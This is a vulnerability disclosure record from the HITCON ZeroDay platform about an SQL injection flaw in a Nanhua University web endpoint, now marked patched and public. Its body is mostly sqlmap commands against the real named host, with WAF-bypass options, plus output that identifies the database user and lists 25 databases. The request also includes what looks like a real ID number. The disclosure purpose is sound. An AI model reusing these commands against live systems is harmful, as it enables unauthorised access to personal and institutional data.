Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-01026
- Vendor: 南華大學
- Title: 南華大學 MSSQL注入漏洞
- Introduction: MSSQL注入漏洞
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2026/08/14 16:35:07 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
- 2026/08/14 17:15:41 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
- 2026/08/18 17:21:14 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/31 16:21:17 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/31 16:21:17 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/31 16:21:17 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/17 15:06:28 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/25 03:00:17 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-01026
- 通報者:koby12345 (桃園怪人協會幹部之一)
- 風險:低
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
https://necis.nhu.edu.tw/
敘述
MSSQL 待回報
sqlmap -u "https://necis.nhu.edu.tw/EPortfolioSystem//EnrollStd/GetIDInfo" \
--data "ID_Number=A197150887" \
-p "ID_Number" \
--header "Accept: application/json, text/javascript, /; q=0.01" \
--header "Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6" \
--header "Cache-Control: no-cache" \
--header "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--header "Pragma: no-cache" \
--header "X-Requested-With: XMLHttpRequest" \
--header "Referer: https://necis.nhu.edu.tw/EPortfolioSystem//EnrollStd/QueryStd" \
--header "Sec-Ch-Ua: \"Not;A=Brand\";v=\"8\", \"Chromium\";v=\"150\", \"Google Chrome\";v=\"150\"" \
--header "Sec-Ch-Ua-Mobile: ?0" \
--header "Sec-Ch-Ua-Platform: \"Windows\"" \
--header "Sec-Fetch-Dest: empty" \
--header "Sec-Fetch-Mode: cors" \
--header "Sec-Fetch-Site: same-origin" \
--method POST \
--batch \
--level 3 \
--risk 2 \
--random-agent \
--threads 5 \
--tamper space2comment \
--skip-waf \
--hex
查身分 身分=WebNhu
sqlmap -u "https://necis.nhu.edu.tw/EPortfolioSystem//EnrollStd/GetIDInfo" \
--data "ID_Number=A197150887" \
-p "ID_Number" \
--dbms=mssql \
--current-user \
--batch
查權限 非DBA
sqlmap -u "https://necis.nhu.edu.tw/EPortfolioSystem//EnrollStd/GetIDInfo" \
--data "ID_Number=A197150887" \
-p "ID_Number" \
--dbms=mssql \
--is-dba \
--batch
4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'vzfx'='vzfx
[16:30:29] [INFO] testing Microsoft SQL Server
[16:30:29] [INFO] confirming Microsoft SQL Server
[16:30:29] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 11 or 2022 or 2016 or 10 or 2019
web application technology: Microsoft IIS 10.0, ASP.NET
back-end DBMS: Microsoft SQL Server 2016
[16:30:29] [INFO] testing if current user is DBA
[16:30:29] [WARNING] reflective value(s) found and filtering out
current user is DBA: False
[16:30:29] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3 times
[16:30:29] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/necis.nhu.edu.tw'
[*] ending @ 16:30:29 /2026-08-14/
查表名
sqlmap -u "https://necis.nhu.edu.tw/EPortfolioSystem//EnrollStd/GetIDInfo" \
--data "ID_Number=A197150887" \
-p "ID_Number" \
--dbms=mssql \
--dbs \
--batch
available databases [25]:
[] Academic
[] AccBudget
[] AccGL
[] CollegeEntrance
[] EproDB
[] General
[] ITCapability
[] master
[] model
[] msdb
[] NhuExam
[] NhuWeb
[] Personnel
[] PersonnelDataCollection
[] PIMS
[] PurchaseCheck
[] Radpub
[] RoomingHouse
[] Scholarship
[] SchoolInfo
[] Staffair
[] Tax
[] tempdb
[] UnionSchool
[*] YiTuition
注入點非常敏感 是用於查詢身分證學號 帳號的 地方
可能外洩了個資